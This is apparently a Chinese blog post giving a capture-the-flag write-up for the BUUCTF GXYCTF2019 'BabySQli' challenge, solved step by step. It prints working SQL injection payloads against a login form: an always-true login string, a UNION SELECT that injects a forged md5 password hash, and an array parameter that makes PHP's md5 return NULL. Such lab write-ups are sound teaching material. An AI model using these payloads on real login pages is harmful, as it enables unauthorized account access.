zoukankan      html  css  js  c++  java
  • BUUCTF-[GXYCTF2019]BabySQli 1详解

    babysqli 注入题,打开一个简易的登录框,觉得出题人好像不是个完美主义者,登录框做的很烂,但是我是个弟弟,还是要说出题人牛逼

    好了,废话不多说,我们填写账号密码,先用

    username:admin

    password:admin

    告诉我,wrong pass!

    然后我们再试试万能密码,

    username:admin' or '1'='1'#

    password:随意填

    然后告诉我do not hack me!

    我索性看了下源码,里面有一段数据被注释了,看似base32,等我们base32解码出来,再来个base64解码

    select * from user where username = '$name'

    得到了这个sql语句,意思是我们需要传入个name变量,然后我们构造payload,因为我们需要post传参,于是我们采用bp抓包

     我们如果给name的值不是admin,然后提示错误,wrong user!

    传admin,提示wrong pass!

    我们把admin 放到第二个位置 不报错

     这样我们就得到第二个字段就是我们的username字段

    紧接着下一步,我也不太会于是就看了大佬博客说有md5提示,我也没发现,

    于是盲从后台登录逻辑

    <?php$row;
    $pass=$_POST['pw'];
    if($row['username']==’admin’){
    if($row['password']==md5($pass)){ 
    echo $flag; 
    }else{ echo “wrong pass!”; 
    }}
    else{ echo “wrong user!”;}
    

      在执行password框中的内容等于md5(框中的内容),如果相等则密码正确,于是我们构造吧

    password:adc

    md5(adc):225e8a3fe20e95f6cd9b9e10bfe5eb69

    于是构造payload:name=1' union select 1,2,'225e8a3fe20e95f6cd9b9e10bfe5eb69'#&pw=adc

    因为有md5我想到了md5不能处理数组,如果是数组则会返回NULL

    构造payload:name=ad' union select 1,'admin',NULL#&pw[]=123

    也可返回flag。 抓包改包就完事。

    得到flag

     参考链接

  • 相关阅读:
    漫画图解红黑树
    HashMap原理
    从底层原理深度剖析volatile关键字
    一致性哈希算法
    OAuth2.0 授权模式详解
    RocketMQ消息的顺序、重复和事务
    正向代理 vs 反向代理
    JVM内存分配以及存储
    023_JDK8.0新特性<四>StreamAPI_4_Stream终止操作
    022_JDK8.0新特性<四>StreamAPI_3_Stream中间操作
  • 原文地址:https://www.cnblogs.com/junlebao/p/13859371.html
Copyright © 2011-2022 走看看